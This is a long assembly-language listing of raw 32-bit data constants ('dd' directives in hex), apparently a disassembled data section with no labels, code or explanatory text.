		dd 14430434h, 0B8F122C4h, 7FDB5FEAh, 0CEC08E8Fh, 0BB4D25C7h
		dd 0E5B9F304h, 9FBF563h, 0F4562995h, 41746DEh, 76588218h
		dd 9E4EF2B8h, 0E15EC095h, 994C217h, 55EF80D7h, 0E009CD77h
		dd 1D0BD591h, 562B9617h, 0B51B37A0h, 600436C5h,	0E2FE8E0Fh
		dd 89318B22h, 4B44785Fh, 2B61BB61h, 207AD9B7h, 0EB3EAB96h
		dd 2E00E1F4h, 0B27E383Fh, 2E7D0DBh, 3B2BEF9Bh, 0AC403D4Eh
		dd 0F11D8A60h, 50DD5A53h, 40A6FD9Eh, 39C800DEh,	0D6AB66D8h
		dd 73146421h, 906EDA8Bh, 27A112F4h, 0FA4910F7h,	0D006BBCh
		dd 0FB1039D0h, 809D81CBh, 51951341h, 521EC4D7h,	4C038FF0h
		dd 0B7265FA5h, 60E92CC1h, 1C084F94h, 0A8A8700h,	0B04A92E0h
		dd 576090A0h, 204BD5C1h, 0A38E9036h, 583DB00h, 0C2BE0325h
		dd 0C1D90E75h, 0B504C90Bh, 4145C2F8h, 595003D0h, 192BD86h
		dd 0B5B7614Ah, 2BADCB49h, 5342E0A3h, 17BFBB02h,	0BA5532CBh
		dd 501DFBBBh, 7C39DBDEh, 6BB31F07h, 0C80346CCh,	0CE124B75h
		dd 4176343Ch, 9EC0189Bh, 0B456F546h, 38B88F4Ah,	0B291F65Fh
		dd 0BB273014h, 3F9B5909h, 56180B69h, 2DC69C6Bh,	82DECDDEh
		dd 4A2BA2D8h, 5B4C5E45h, 15116A31h, 0D26A12E9h,	0ECF7FEB3h
		dd 1C70056Eh, 0C07B356Fh, 8197761h, 75A4B625h, 0B1259035h
		dd 802ED18Dh, 25A5A1AEh, 950C50BDh, 0A1007837h,	0B815EEF1h
		dd 36FF2846h, 0B751BFCDh, 67BAE780h, 17F674h, 0C0B43181h
		dd 79731960h, 0E38072C2h, 0BE6FF50Eh, 8415F94Bh, 0A80C65A5h
		dd 0C330806Dh, 918F061h, 4C34E69Dh, 8A27A178h, 0F4AAFCD2h
		dd 5B3B0609h, 2739780Ah, 20F9D98Ah, 9C43FC01h, 0DA203EE3h
		dd 0AA3001D6h, 5FDE8B71h, 0B7896E90h, 0F418EE0h, 85CB2FA1h
		dd 9080CF94h, 37CD36B0h, 319AB207h, 77F17A7Fh, 68C4164Ch
		dd 6D8A12D0h, 741CFB5Eh, 0BCA25052h, 3FF6CC02h,	4C08FB0h
		dd 5800F1A3h, 737E5B7Fh, 4B5D6F54h, 216EAA0Bh, 36841109h
		dd 0DB1C6FDh, 2F4B4816h, 5AB47A52h, 2FE9D56h, 0D55BD962h
		dd 0EC00B09Ch, 0C6106ED0h, 9794DAB6h, 61BB2298h, 0AF18A538h
		dd 99AAE0FFh, 0C967951Eh, 2864710h, 2F72A31h, 9BA55590h
		dd 85E3BAB7h, 93B00C6Dh, 12EB500Ch, 89859BF8h, 3B9FF3BFh
		dd 0E9A93131h, 0FB382E9Dh, 7ED24194h, 8FFCFB81h, 0F8B1322Eh
		dd 337198D7h, 6DE500D5h, 0E2BDA13Fh, 7E3D64A6h,	2B1A8446h
		dd 0B2A2CBC4h, 0B5E3A900h, 0B8125759h, 2C608D0Eh, 5E86A9D5h
		dd 0ABFC972Fh, 984B316Eh, 3261129Fh, 6310DBBCh,	0ABAD132Eh
		dd 0A700BC7Eh, 0FD0EA0CEh, 51955612h, 0BA1C54FEh, 0B8C972BFh
		dd 0E131D05Ah, 0E65FFF12h, 278C987Eh, 67482DA1h, 0F99724A5h
		dd 574A44B2h, 0B02539ACh, 0E6888BFEh, 1A350870h, 4471E409h
		dd 38DEB79Dh, 2D75FE80h, 3857C876h, 3B890BBBh, 0A672496Eh
		dd 89611A60h, 0D3352D9Dh, 8A49FE4Ch, 259371D9h,	10BF9160h
		dd 2081CA16h, 142B3144h, 0F4828DAAh, 3B7B25E7h,	10483948h
		dd 2B321185h, 1766D150h, 56F65727h, 0B4640025h,	0D5459B75h
		dd 0B1596700h, 0FBBE7A2Dh, 2FCB60E9h, 5CF8BB66h, 0B1D8B9B0h
		dd 0EF2DBDB2h, 2D9CAC04h, 9DA51F8h, 465F1141h, 7FB42764h
		dd 7C618A7Ch, 127EC668h, 6D2AF33h, 852F812Bh, 0A66E32ADh
		dd 5D59000Bh, 0CFF529C5h, 9CF70091h, 0CB4BE497h, 0D318DE31h
		dd 0F2B72E9h, 70D3BF8Dh, 715A7909h, 186EB2C0h, 9426629h
		dd 96B35909h, 0D96EDC80h, 7677E494h, 26B26B02h,	0C05FCD46h
		dd 951A39E1h, 795A31D4h, 6C9B00F0h, 982313AEh, 0BF1E8804h
		dd 0E8B91066h, 500CF393h, 144CCD29h, 9DB69028h,	324DB504h
		dd 29C328ABh, 0D1004B41h, 9D6A9DFBh, 208B9A37h,	95077ACDh
		dd 0CDBE4ABh, 269CB78h,	0FB8BA43Bh, 0AEA92DB9h,	68B4F458h
		dd 545E00DCh, 0D4350E68h, 232BE5EBh, 6A584EFCh,	0B87D38F6h
		dd 924FB5F0h, 0B3A26960h, 356717B1h, 2FF2B183h,	0CAF3DAE7h
		dd 0B9D47E8h, 6003E50Bh, 3A64FCh, 3BA9904Eh, 982D6FE4h
		dd 4EB6625Ah, 912608Fh,	83EA2FFEh, 9CEEF355h, 0F3654212h
		dd 46DFB3DBh, 991416ECh, 1674EBA9h, 81D630AAh, 0B84F5AE3h
		dd 9DFF4334h, 65DA3AB6h, 4FE66680h, 3C17F9CAh, 163032DAh
		dd 0B225D24h, 1D4784D0h, 20B817D5h, 95EAA6C7h, 6CD79420h
		dd 6B003D6Ah, 10F765DEh, 5F41A509h, 44F6E0Eh, 0D8DD1330h
		dd 312DC1BCh, 5326B8E4h, 12645C07h, 411180EAh, 0DB006409h
		dd 0CBF04AD2h, 4BDE3FE4h, 220ACA11h, 9D013853h,	2732AA5h
		dd 0CC808E21h, 609ADBECh, 0E3162573h, 249EEFC6h, 0B12AE543h
		dd 0A17A6CE6h, 0B88B6D94h, 0E0E402DEh, 8A098FECh, 1E4AF658h
		dd 498C30E3h, 2E09BB7Dh, 7114A8E8h, 55242B4h, 0EF4E85Ch
		dd 0BD09AA3Dh, 185F255Fh, 4FA8B6h, 3D5CD6DCh, 786CCD7Dh
		dd 88FDFC00h, 0BD01184Dh, 0BD4FB215h, 8613D514h, 0E2B604D1h
		dd 55904A00h, 92C84BF3h, 0C0D1605Ch, 73C1712Ch,	0DAA90CA1h
		dd 334A09Dh, 0F53AEB00h, 85291E12h, 0EB305A65h,	8FA2DD24h
		dd 17FC8A00h, 8DD79C37h, 3D913500h, 74048140h, 30E15A80h
		dd 177273C7h, 0B0A35D0Eh, 0E027CEE3h, 0BE1FD8B8h, 0A0152546h
		dd 15DA6C8h, 0A6F6BE1h,	0FF5E3F12h, 4C82BDD5h, 12675519h
		dd 0D33527h, 0B255199Ah, 6E0BDB60h, 50B2829h, 9DAA08A5h
		dd 0CBDD6101h, 0EB12CCh, 0BB50FB5Ch, 133DDF29h,	45A65F46h
		dd 6B19E8E0h, 0A63D97h,	7BA00166h, 5A4F9875h, 3F00ABF2h
		dd 9EBC5CC7h, 0B700EA59h, 54685FF9h, 0C9DFC98Dh, 0EC50F8C0h
		dd 5576AB0Bh, 0CB436D20h, 0B453C477h, 7FFB6B08h, 0C4181659h
		dd 0F15B40Bh, 0F53B9180h, 29C2302Eh, 74E939B5h,	270AB42h
		dd 78ABFBB5h, 0F602B339h, 0B4CF52D4h, 66025F36h, 0F5A92390h
		dd 0B725D259h, 73C482D3h, 0C95C1BBAh, 0E959766Bh, 84568B09h
		dd 0FD08D8EAh, 75B70926h, 10A7B771h, 91C62Dh, 1E59AA28h
		dd 8EC0B9Eh, 0C76F894Fh, 0F8891916h, 568090EDh,	28BB02B5h
		dd 5C4BDECAh, 0B33725A4h, 0D3B4DA00h, 50328FCFh, 8813A894h
		dd 0AB00FDF1h, 0E6189387h, 342259h, 0EF0C7728h,	357B6012h
		dd 1666BF39h, 14AD1E90h, 0DA2A6851h, 0C01CC84Bh, 70374B50h
		dd 0C72D6C00h, 0FCBBCBDAh, 2E180978h, 14DF890Fh, 46D50020h
		dd 8D48C532h, 721D0270h, 0A2C4F4D0h, 28AEFBDCh,	81500F68h
		dd 0AEB45075h, 965EC840h, 94DB0036h, 6393804Eh,	5F2AB7B1h
		dd 0B1D2C150h, 0DA2075ACh, 0AF48E950h, 0ECEE5600h, 2E773A5Dh
		dd 1ADD0075h, 0AED07A3h, 530BFDA9h, 895AD4D1h, 23838045h
		dd 9164B335h, 17902D5Bh, 100714AFh, 610F6BCCh, 404E54D0h
		dd 0B6C501A8h, 4793E45Fh, 70C87E60h, 34A30001h,	56CE85EBh
		dd 230086FFh, 0D630F9Dh, 31595C38h, 0BD785F61h,	0F8122E75h
		dd 1BACBFADh, 0AD8C008Ch, 3F96C9D9h, 5A9F7090h,	0B52044FEh
		dd 0B896574h, 4EEFBCF7h, 0B225607Fh, 6BD08DF5h,	0CA950D6Ch
		dd 60F960C0h, 935FFB74h, 4F1C5000h, 4A947720h, 4C7D09E2h
		dd 0E77D6114h, 0D819C4CCh, 0F905457Bh, 0B601E485h, 5FAFB232h
		dd 0AE681953h, 5E08850Bh, 706051D8h, 7FE791D9h,	0F06E4B99h
		dd 71973F63h, 8107E9CBh
		dd 0CD64D7C0h, 9DD3DCD4h, 2919217h, 24C87BAAh, 75C0B818h
		dd 5AC5BCB9h, 0E4EAA992h, 1DF86AFFh, 82171B6Eh,	0E7800084h
		dd 1373D684h, 0A743E959h, 579BB008h, 0E2B104F4h, 0A0541512h
		dd 495AD6B0h, 9AF46E3h,	778ED4BBh, 10D5F82h, 158D3101h
		dd 36BD03Bh, 3BB27DBDh,	0B2DEBB04h, 9DBC227Ch, 0C20438A1h
		dd 4EDED65Ch, 946EBCD3h, 260AB300h, 252E805Dh, 1D6479CDh
		dd 0A5B2EB64h, 537B931Dh, 0A72EE8Ah, 1667D595h,	50C15325h
		dd 50091008h, 0EC623393h, 0DBD10A9h, 89BF0212h,	753A55CFh
		dd 81092D6Ch, 7B65AEE7h, 8AB5AF87h, 0D714D525h,	0DC40B996h
		dd 2C8974E0h, 3A89B43h,	5096CF41h, 0E0CBE695h, 250BF00Ah
		dd 0B554F380h, 0FCC6A6h, 0F4CDF5F7h, 80D10757h,	10523C27h
		dd 1D6461h, 2E4E5A89h, 83A5230Eh, 56C3EF02h, 0D5E09D9Ah
		dd 337AF94Ch, 56256127h, 0D46058E3h, 54F151B5h,	0C65EB800h
		dd 80719E64h, 0CCEB4BF7h, 0B09750C2h, 4A870F92h, 0BB70Eh
		dd 78291E2Ah, 259D4513h, 81E24071h, 2E702C7Bh, 422D25C9h
		dd 0E0408AE2h, 2C2CE1DDh, 0B2606627h, 0D6E64Fh,	8DC10376h
		dd 0C20AFC6Fh, 2129C912h, 19B277F6h, 0B616330h,	0F414F310h
		dd 4B5695D5h, 62CF927Dh, 24A5A4E3h, 0FBF2660Eh,	4DBB6500h
		dd 0B75A231Dh, 0C0D14BF3h, 17A6B27Fh, 270E1646h, 8FB91245h
		dd 0FA7B88D3h, 3609B301h, 0F3F6F8E4h, 0FC1AA92Bh, 33EF011h
		dd 46BFBED6h, 1D884C4h,	76BD958Dh, 1078AC5Ch, 0D8884426h
		dd 9E85A95h, 7B1BD0Bh, 0D3493AD9h, 9D52C54h, 7A7B2B61h
		dd 51F2FC92h, 0F5811B88h, 505F5696h, 0BB520280h, 4DA6A226h
		dd 123C7BB5h, 293CEC96h, 0F479C30h, 5D0912D7h, 0F8A559B0h
		dd 7F3D100h, 0A7CDA63Dh, 0F95012A9h, 6240F35Bh,	0F51A4554h
		dd 7BEBF7EDh, 57690056h, 30E161A2h, 0A9F44F09h,	6E15D4B7h
		dd 7FBF27E0h, 61041907h, 0AB9BD31h, 29069CABh, 0F7D58D2Ah
		dd 0E5DF8B25h, 0AA771335h, 0D0ED17Bh, 37C163D4h, 418143CFh
		dd 2B3055FDh, 6A4E94CBh, 0B36600B0h, 77F96735h,	2C6981A7h
		dd 3DC62DF5h, 648A0987h, 0A30D3D57h, 567A8281h,	6855E103h
		dd 0BD5DE979h, 6B34058h, 17C1D57Ah, 0A038FCECh,	8D9E4813h
		dd 1320DEA8h, 5150C1ECh, 0AEA90DB4h, 649A6B5Bh,	0CBC119C8h
		dd 33E3C17h, 0BB509063h, 4F5DB6B0h, 0B8D079EFh,	65880205h
		dd 901FEAF1h, 6E4725D4h, 8579F480h, 77570164h, 20AEFBC5h
		dd 8D89F49Ch, 59135D2Fh, 0FDF04CC3h, 45712551h,	0CD7EF06h
		dd 580EF68Bh, 80F69996h, 0CB140BA4h, 997AC6Ch, 0FCB0E388h
		dd 0EA61DE90h, 0BC43EB4Eh, 3BE9A12Ah, 1860F4A8h, 562B90C2h
		dd 6412B9ECh, 2EE5B39h,	4BB1BFB4h, 919DC158h, 0D03A4739h
		dd 0E29CF4D7h, 7FC4CF00h, 8EDB4017h, 0E84F1674h, 359BFBF2h
		dd 7C5C87C1h, 810FDCB6h, 83ECFBA4h, 0E754F69Fh,	8FF110F0h
		dd 0B4008D44h, 3A4199FCh, 4B1233C3h, 0F1F9E66Ah, 0F83F9C32h
		dd 0C0F1580Bh, 8FD8085Bh, 0CD374BA5h, 0CDDC7E7Ch, 0CD164BECh
		dd 56953E79h, 0D1CF82ABh, 0F6C37FFh, 0ED80EFEEh, 2F3DC619h
		dd 4C80F699h, 3C8997E7h, 7BC807CAh, 828E179Dh, 0F46921BDh
		dd 0AE282F5Fh, 99CF9597h, 574F2960h, 12A60038h,	0F30C3B51h
		dd 0B79D026Ah, 56DE16D5h, 8068EC7Fh, 8CD45890h,	7B5A0EC4h
		dd 37CE7507h, 0AB9DB3A4h, 1BDE9692h, 535D8CCAh,	271BAC6Ch
		dd 8840826Fh, 13EF151h,	82CC99D1h, 0E2E93F04h, 9270FE5Eh
		dd 0EC8482E3h, 0C4604B15h, 0C5A20022h, 5B07F1F8h, 5901A466h
		dd 0F32839B9h, 0B83C6126h, 0CB791D25h, 40F74D6Bh, 0BF30FE68h
		dd 915F70FAh, 23EF88C0h, 0B5090894h, 71273279h,	3937A7B6h
		dd 0E1EB6001h, 84309F1Ah, 0B8104EB5h, 0BF51A027h, 0A7D609CCh
		dd 39D75B5Dh, 9836860Fh, 7012EE4Eh, 17B214F6h, 1D8A1230h
		dd 14609BD7h, 0E83C80F9h, 0B37880A5h, 0F7E1AB8Dh, 0E72505A1h
		dd 1B80B168h, 36D86996h, 87F6253Fh, 0EFB521A9h,	8D15A570h
		dd 0DDE02D7Bh, 1316D57Ch, 272D39F3h, 0D8D096FBh, 0FE8A13C0h
		dd 2269A6FCh, 3C10B73Bh, 4E13152Ch, 70A4B3F7h, 0E4FC80FAh
		dd 8D317105h, 8CAA14FDh, 45D619FEh, 0B61202E9h,	5E37B2C8h
		dd 80815EE8h, 3A5B28E3h, 0C2A26474h, 0B0ADCD00h, 0C240E88Dh
		dd 54D5572Fh, 0BBF78FF1h, 0B771DF81h, 0FFD12B88h, 0CBAD259Dh
		dd 403A7174h, 88C84F2Bh, 1F00BAA3h, 3AF38E60h, 0F9827ADh
		dd 0D087527Ch, 8AEF5420h, 534D3DE2h, 18A85AB8h,	4D314758h
		dd 2AA9E94Fh, 7703CAE7h, 63BCAFA5h, 2C60C6D2h, 0AA2F46FDh
		dd 4A6ED8F8h, 41E704h, 5E7E2CF3h, 740C2F4Ch, 0A2860907h
		dd 97D0ECFAh, 127AF545h, 1080F42Fh, 0FD8ADA8Bh,	5FE9A198h
		dd 0F3800FC2h, 69657470h, 4100EB79h, 4922AC36h,	0B1330378h
		dd 2C6962E7h, 37F50D0h,	44689827h, 2F364558h, 0E9574860h
		dd 62A8811h, 6F853203h,	0F2F24A04h, 0E5F95745h,	957FB3A8h
		dd 5188D191h, 0F7DE2D28h, 5AA23513h, 0B0622482h, 0E27845F3h
		dd 0D36B0260h, 8A9059D4h, 52747FCh, 8EA66AF1h, 92D769F2h
		dd 60805E0Ah, 4140C781h, 0B9094905h, 899E1104h,	0A8DEA4C3h
		dd 0EA17D9A0h, 574EB0B0h, 0FADB8A85h, 60A83882h, 15016CC1h
		dd 0BD5B6FFCh, 0FC611664h, 63E0ABA6h, 0BA02CB7Eh, 4A9A6503h
		dd 0FE977488h, 5E08B100h, 0A368CF56h, 9D5F281h,	0BA73F638h
		dd 0D361525Eh, 683A809Bh, 6A98526Ch, 0C2895A4Bh, 0E3C4FCh
		dd 696E1BA6h, 2B2CFC0h,	8B7F2C3Ah, 0D55F68FBh, 615A7118h
		dd 5F7A1193h, 902F8BD1h, 0BFCC905h, 37AB0DDCh, 9A535182h
		dd 4207715Dh, 0D29A880Dh, 0EB264D79h, 4507273Fh, 0C554A5A2h
		dd 285C19D4h, 0F474C64Fh, 0EAB7EF59h, 569A5ED1h, 85F3812Ch
		dd 4D292A0Bh, 29DFCB82h, 0EB21182Ch, 78ED12FDh,	2750117h
		dd 0C8B57239h, 29F854F9h, 7E8A6D4Eh, 0BF709238h, 38786AFBh
		dd 96860048h, 0D4AB2CEEh, 82A29131h, 57D96255h,	0ED81B5BDh
		dd 0DFA4D4F0h, 17A2AD2Ah, 20EEBD03h, 16CA8180h,	4CF15116h
		dd 61C72F04h, 0EDB874BAh, 5B95A8CDh, 535E0A0h, 9E1FF80h
		dd 49FDBB66h, 0EC42BDD1h, 0F4F0D403h, 4501E927h, 47DD1AD5h
		dd 0FDC80B5Fh, 8622401Ch, 40889494h, 6DBC213Eh,	60227012h
		dd 34B837EDh, 69383000h, 36BF663Ah, 0A30B9DCCh,	2E2E4841h
		dd 5D7D5199h, 0BF3EDCA9h, 49FCC627h, 811023A0h,	0B525BCCFh
		dd 0FC98552Eh, 9FB89D29h, 11BD0CD2h, 188C17ACh,	1E8AA162h
		dd 6B056ED3h, 50904945h, 0B741BE2h, 96F91446h, 704466F5h
		dd 902B001Fh, 92DFD9BBh, 82975616h, 0DD6A5FA0h,	7FE2AACDh
		dd 49647D09h, 0A7A26801h, 52504076h, 0D180F138h, 3EDDB169h
		dd 0DE8E2500h, 0FB623912h, 712B027Dh, 16D20F06h, 5E38A9F5h
		dd 0A45D0219h, 22D34069h, 514070h, 0E0B5F879h, 20F40897h
		dd 0B510AD80h, 81411771h, 74FED1DBh, 3CF42D61h,	0F067A9E3h
		dd 2490E018h, 0A7A36Bh,	1A7D3D23h, 0D838E95Bh, 6AA95F01h
		dd 0C5B694BCh, 76AE0613h, 5D2D8E86h, 0A7D17B26h, 2216C55Ch
		dd 0E9B4CBBCh, 31DAA872h, 18D438C6h, 4A472CEAh,	9AD395ADh
		dd 553380BAh, 9628CBD4h, 2504401Dh, 0A1517BACh,	49B86FC5h
		dd 0B7F7892Dh, 9BF42544h, 3268AD8Bh, 0EB3D76DBh, 9C80BE35h
		dd 1A31CF95h, 76BE0C4Fh, 15B4E75Bh, 0D05702E3h,	3268097Fh
		dd 5A74F85Fh, 0CBB102F6h, 8E94D97h, 3D80D820h, 0A2FB0039h
		dd 0BF50C05Dh, 6827B511h
		dd 0FEA8495Ch, 0C91D881Bh, 2C2DEC75h, 251DA62Eh, 688EA17Eh
		dd 0F7BF633Fh, 21CBD1BBh, 24B7CEAh, 85FFDC0h, 0FC6B1574h
		dd 0A1B5C1F5h, 8DFE041Eh, 80E73222h, 4AA5783Bh,	50491389h
		dd 1FDA0151h, 5B905F87h, 753C3DDh, 3757E0DDh, 0C54C125Ch
		dd 81F665E2h, 208D9A1h,	39FC4061h, 4A07DE2h, 387565BBh
		dd 0F4A1BC43h, 0FC48F9Ah, 0E5CBEA52h, 65271637h, 2CFB387h
		dd 0E935BEE7h, 64F1DC21h, 63B3AA34h, 0D36A4ABBh, 70556704h
		dd 47A1AF3Ah, 0C2BA7044h, 1FE7238Ah, 44D8504h, 14DD2618h
		dd 1AF24797h, 0A402273Ah, 0C5DF2691h, 8D87729Dh, 296DA0A0h
		dd 335EA5B5h, 19BC61ADh, 54009A9Bh, 64D042B1h, 0BD8912F0h
		dd 7E28AEC9h, 0F83FF929h, 5CFC278Dh, 1546D69Ah,	0AD2B4516h
		dd 236E4A79h, 65D7C407h, 81CF20A6h, 0E8CF60B9h,	40B8F5B5h
		dd 114215BEh, 0B9A80992h, 5B779CC2h, 26145104h,	0F5A01521h
		dd 56BB8094h, 9D6BCF6Ch, 95D4D2D6h, 0CCEA39B1h,	0DB0B82ADh
		dd 4B37F40h, 21BCDE92h,	7827C8D3h, 0FA93A91Ch, 0D2AE1D80h
		dd 30ABFh, 0BA95F9B5h, 4B1A752Dh, 0A5FEF165h, 0B65E2CB9h
		dd 3016B265h, 0D848200Ah, 0FE95E1Bh, 0F64F854Bh, 529E086h
		dd 9C031263h, 2A51F1A3h, 0C000D6Eh, 0FFA3929Bh,	4B654D8Dh
		dd 0F45885F6h, 950875ACh, 35A1DDE5h, 25F43F8h, 0E269306Bh
		dd 6ED518DAh, 278921ACh, 0D4E45EC9h, 0A4D2A506h, 48407C4Dh
		dd 15256901h, 0E25814F5h, 144EB50Dh, 499BBB04h,	8CFB4DA6h
		dd 921F7421h, 30C00EB6h, 8CCCA319h, 7AC6007Ch, 65442799h
		dd 2AFBB396h, 0FE26A207h, 0A1E4468Bh, 14CCB422h, 22CC0039h
		dd 3BD485A9h, 0F012E1A1h, 98FACF98h, 1825EF12h,	0D6B25C7Dh
		dd 94021446h, 0FA8BBEB3h, 50514A5Eh, 0FB81BB10h, 96720912h
		dd 2BB19530h, 8D9C3955h, 7F780501h, 0E4CC93BBh,	0DC03E35Ah
		dd 0AE1A962Ah, 693FE160h, 0C87EEE31h, 0FE029AAEh, 26F83472h
		dd 48E27759h, 19F50C62h, 816EDAFBh, 6B08F938h, 0EF9333E9h
		dd 0AAB8FB16h, 0A1F429A2h, 88B5D549h, 0FB891491h, 0B5551589h
		dd 851591CCh, 5DC1AD7Ch, 0FA051C49h, 0E64A20E2h, 5332B4CEh
		dd 3A32FF87h, 1DF8D842h, 0DA5B7E97h, 2F4B557h, 0C734EF1Eh
		dd 9E138340h, 2BBDD3A1h, 32624ECh, 0F71B1209h, 250B3E9Dh
		dd 5FF2D855h, 0A09CF7C6h, 0FD0FFB4Ah, 0B8EC642Ah, 0D9AF484h
		dd 642B7AC0h, 60B821ADh, 0F2EFE916h, 0C1E29BEFh, 0D3FCE655h
		dd 5F79CD8h, 0E5806041h, 0FEAE8568h, 8B613742h,	0E0F26DC1h
		dd 8A2E32B9h, 0E685FB25h, 68C1B79Fh, 0BF900011h, 759C0B4Ah
		dd 7C295033h, 59798773h, 161C64FCh, 0ECD4E703h,	9BE109ECh
		dd 7863D36Ah, 8B4A4767h, 0C642CB2h, 0A189FE55h,	0DCFEB098h
		dd 0B04EF3DBh, 0D1C0F7DBh, 0ABCA311Fh, 5B85A0Bh, 0D794Ch
		dd 0B6F09F73h, 0C2029D5Ch, 3294BD2h, 875E62h, 0E247B9BFh
		dd 409D902Fh, 95ADB676h, 0E269B059h, 8651FDFFh,	0FD411200h
		dd 223A6FBh, 585CC37Dh,	0CDD59080h, 0A70BC02Ah,	0DE12E107h
		dd 37C01E83h, 1D5CBEEFh, 0D38D2360h, 0BA86C017h, 7CBCDC4Ch
		dd 28162B17h, 55F99E32h, 73271F5Bh, 23FE5284h, 0DEBBB03h
		dd 6DBDD4A0h, 0A42CF75Eh, 0FF9ED1BAh, 0B91B39D1h, 0EC3FF02Bh
		dd 43DDB405h, 0A2B0668Fh, 0A3304B61h, 3E738D25h, 0C0629B6Eh
		dd 0FCC04B6Bh, 0F1024A6Ah, 0E6B06A11h, 0B4DB48A9h, 0FB04BFD6h
		dd 81210ADh, 0B189025Dh, 0F76EDFD6h, 0C7E07C87h, 227477Eh
		dd 95A3F052h, 84FD382Ch, 4C1F918h, 0E9013311h, 0D7E33AB9h
		dd 0AD09E589h, 0FDE3CD6h, 0A2B796B1h, 0B7116E1h, 2ED67499h
		dd 7221BF80h, 0A64D5E75h, 9205F0DBh, 80BA977Dh,	128B555h
		dd 0DF6D85E8h, 0E3EF423h, 99A8B362h, 44F07E1Ch,	0BAEA80CFh
		dd 0DECE7F5h, 0EA80EF90h, 71977E54h, 9962A5F6h,	88155B7Fh
		dd 0F55A11DDh, 1551305Bh, 6917EF66h, 0F906BA2Dh, 5C0AFF6Ah
		dd 0E51649D8h, 0E8EBA933h, 3DA2011Bh, 0F7800E93h, 1B622FA3h
		dd 6B397FF8h, 0CD18C0B6h, 0D129D90Bh, 38B07F52h, 0B07028B9h
		dd 0C16295FCh, 4170E699h, 1189D980h, 5B8171E4h,	2F1ABADFh
		dd 98C32E4Bh, 801E21E8h, 8297DF8Bh, 5EFC8A33h, 0AE604427h
		dd 2C8D70D8h, 6CA431D5h, 0DB25E35Eh, 562BE01Fh,	29BD2A23h
		dd 0A45B4BCCh, 6E02DF9Bh, 2B2D733Ch, 7F65C8C8h,	0D18B302Fh
		dd 553DF70Eh, 0A584FEB5h, 421754DEh, 4C446A07h,	860F5F10h
		dd 7F4CA209h, 4AF5CAB2h, 4021FC1Fh, 7E096B06h, 0AF091175h
		dd 74CC9857h, 2F05429Fh, 113619DDh, 0FCCFE15h, 172E67E9h
		dd 1991B233h, 0BB0C7109h, 0F55CFB25h, 642EFC51h, 62B410F8h
		dd 4B086F50h, 28D89860h, 0C9517340h, 5FA5A52Ch,	35A6EB5Bh
		dd 0ADB3EBF5h, 2993AE03h, 0BABD4DB5h, 6EB92470h, 0A9EF9510h
		dd 0F0C6FE43h, 4BDCD3B3h, 0EEB784BAh, 6E05256Eh, 0C22E6BEDh
		dd 98C9F54Ah, 0F51766FCh, 0FE4C17AEh, 808ACF32h, 10E78021h
		dd 6ED25E2Bh, 0D43700A2h, 28BEA9EDh, 80995F9h, 0BFE0A859h
		dd 0B7F15Fh, 623ABB05h,	880D4920h, 6094EF9Dh, 840794B2h
		dd 2582DC48h, 0A078CCB7h, 9D6A349Dh, 0BCD427D6h, 0D0A1CF48h
		dd 2A792D36h, 0ABB1FC0h, 0F1BD1B03h, 0EBD86B0Dh, 0E5B58634h
		dd 52EDE9F0h, 2A60304Dh, 0D139A333h, 987F2F39h,	2C09EF4Ch
		dd 71494B16h, 52914476h, 7E2729E2h, 0E389B87Fh,	0A2E200E1h
		dd 76853BEh, 0B85B2A18h, 0CBE069F7h, 0C101BC55h, 32394290h
		dd 203EB9AEh, 7E58BA5Ah, 822FD23Eh, 768FD374h, 2B387FFAh
		dd 1648509h, 75B95BFFh,	80B89AD2h, 7C659512h, 0E1FF1769h
		dd 4F25AF31h, 122ECBAAh, 42B90407h, 0B6015CE8h,	0E4738EE0h
		dd 7E30E927h, 8AEC4BC8h, 2EE227Fh, 0D3B7E781h, 44163829h
		dd 0F4BF60A5h, 2AA9C2EFh, 0B94BFD09h, 533A239Ah, 2DD05000h
		dd 8F0CA370h, 6A89BCDDh, 301D41C5h, 279E3D73h, 8732D525h
		dd 5AC75380h, 0BD160BBCh, 6FAA26ADh, 0F1D84B6Ah, 0E2AC4F1Fh
		dd 9D2905E0h, 89EE0E41h, 95742B52h, 9ACE2D9Ah, 8756B81h
		dd 0B1082BA2h, 13DD200Ch, 1C902814h, 1FCEC902h,	9BFEFA07h
		dd 71C4824Dh, 64D629C0h, 0AD544F8Dh, 0E705E8C6h, 982ADAF0h
		dd 7A6806C3h, 0B287417Bh, 4097C725h, 2D8885BEh,	94B778DDh
		dd 0F50E2800h, 2666E8Eh, 85894891h, 8A5C0B0Dh, 0B2AA60E4h
		dd 84860037h, 0F397C1ADh, 0FDF9048Dh, 0FB5F7B63h, 0FD344649h
		dd 0EDA5CF65h, 34D24029h, 9F49E9FCh, 0EB800940h, 6E46558Eh
		dd 0FEDB8109h, 2D8A711Dh, 0EDEA4DCh, 134EB9F7h,	0E31C8B8h
		dd 0BFAA3897h, 0E010128Ch, 7B8AE372h, 1A133707h, 0FC798904h
		dd 0AF7D13CAh, 0DB28492Dh, 468FA0D6h, 436E044Bh, 0FA40254Eh
		dd 173070E1h, 0D5D31738h, 8041E81Fh, 469B2083h,	0AD090728h
		dd 703877F4h, 0BD33797Fh, 5B9B8D65h, 7BAECCEFh,	67E60E01h
		dd 0CF96D910h, 0AE09172Ah, 0D6007A6Fh, 0C6ED0B85h, 0B325A449h
		dd 7557C20Fh, 0E7D080FBh, 0BB950030h, 703EAE31h, 0B7748DEDh
		dd 18246805h, 0FAB14DBDh, 0DB1F032Fh, 150BA21Bh, 55858DFAh
		dd 700B993Fh, 77087798h, 326FC09Bh, 487DCBB4h, 8B82B925h
		dd 0DCE2FCF1h, 7FAEC54Ah, 40140073h, 0B659123Eh, 0F8B35F7Bh
		dd 194E775Dh, 0B3F1EBACh, 9C282B71h, 6F1FD356h,	27480436h
		dd 54C1ED4Dh, 0C73BE9CFh, 0F9464487h, 0CBCCEDA8h, 6FC003C9h
		dd 0B615E489h, 27AC0A4Ch, 6FB5F508h, 0B75BFAh, 5F802A7Eh
		dd 953B01CEh, 8B8ECBB5h
		dd 0E9049F13h, 803BE9AEh, 0BED0E38h, 890F1512h,	0C1EB7425h
		dd 151BA1FFh, 4A62192Ch, 0E9C6A904h, 3871A47Ah,	1222D058h
		dd 4CA83165h, 120187A1h, 2FB75CF5h, 0F6E356h, 66C229F8h
		dd 8878A87Dh, 1827E04h,	0CAAB11B5h, 0F044A36h, 0B9B8AB4Eh
		dd 537650C9h, 0DCACF840h, 93EA005Dh, 17F1680Dh,	5F120ED2h
		dd 0C8EBFE4Ch, 494BB306h, 0B96A8CE1h, 3B49B840h, 1B016A6Bh
		dd 5CBAF4Ah, 92206FBDh,	3348C24h, 414EB7E2h, 0BE0AC661h
